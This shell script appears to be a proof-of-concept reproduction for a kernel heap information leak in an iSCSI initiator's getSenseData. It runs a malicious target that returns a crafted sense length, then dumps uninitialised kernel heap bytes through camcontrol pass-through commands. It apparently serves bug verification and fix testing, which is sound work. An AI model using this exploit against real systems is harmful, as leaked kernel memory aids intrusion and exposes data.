#!/bin/sh
# DF-2468 run: malicious target drives getSenseData heap leak.
# Run as root (needs /dev/iscsi for iscontrol, /dev/pass* for camcontrol).
#
# Flow: mtarget2468 serves valid INQUIRY (da0 appears) then CHECK CONDITION
# with sense_len=252 but only 10 DS bytes on every other command.  The
# initiator's getSenseData() kmalloc(252) [no M_ZERO], copies 10 bytes, and
# bcopy()s stale heap into the CCB sense buffer.  A camcontrol pass-through
# returns that sense (CAM_AUTOSNS_VALID) -> leaked kernel heap bytes visible.
#
# Expected (bug present): camcontrol sense dump shows mostly non-zero "random"
#   bytes beyond the 8 real sense bytes -- stale kernel heap.  Run it 3x to
#   show variance.
# Expected (fixed): sense dump shows only the real bytes, rest zeroed.
echo "DF-2468: load iscsi, start mtarget, run iscontrol, probe da0, dump sense"
kldload iscsi_initiator 2>/dev/null || true

# 1. start malicious target
./mtarget2468 3260 > mtarget2468.log 2>&1 &
MT=$!
sleep 1

# 2. iscontrol logs in (background; it daemonizes)
iscontrol -t 127.0.0.1 targetName=iqn.1990-08.com.fake:t \
    initiatorName=iqn.1990-08.com.fake:i authMethod=None 2>&1 | tee iscontrol.log
sleep 4

# 3. what LUNs/devices appeared?
echo "--- camcontrol devlist ---"
camcontrol devlist 2>&1 | head
echo "--- /dev/da* /dev/pass* ---"
ls -l /dev/da* /dev/pass* 2>&1 | head

# 4. issue a pass-through SCSI cmd (TEST UNIT READY, 6 bytes 00 00 00 00 00 00)
#    to da0 -> target returns CHECK CONDITION + crafted sense -> leaked sense
DA=$(ls /dev/da* 2>/dev/null | head -1)
if [ -n "$DA" ]; then
    echo "--- camcontrol TEST UNIT READY on $DA (CHECK CONDITION -> sense dump) ---"
    camcontrol cmd $DA -v -c "00 00 00 00 00" 2>&1 | head -40
    echo "--- again (run 2, look for variance in leaked bytes) ---"
    camcontrol cmd $DA -v -c "00 00 00 00 00" 2>&1 | head -40
else
    echo "no /dev/da* appeared -- getSenseData ran on kernel-internal CCBs only"
fi

kill $MT 2>/dev/null || true
echo "DF-2468 run complete"
